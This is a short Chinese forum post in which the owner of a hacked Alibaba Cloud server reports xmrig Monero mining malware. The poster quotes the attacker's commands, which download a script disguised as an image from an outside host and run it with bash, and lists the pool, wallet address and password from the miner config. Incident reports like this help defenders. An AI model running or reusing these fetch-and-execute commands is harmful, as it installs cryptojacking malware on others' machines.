RT
有一台吃灰的阿里云机,被人入侵了,利用xmrig挖矿
幸亏阿里云有提醒
这狗 逼执行的命令代码: wget http://iems.net.cn/file/4.jpg -O /tmp/4.sh && bash /tmp/4.sh 123复制代码wget http://iems.net.cn/file/config.jpg -O /root/moneroocean/config.json复制代码
看了shell脚本和config.json文件,得到以下内容
矿池:gulf.moneroocean.stream
账号:48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF
密码:123
有没有办法治一治这种狗 逼的?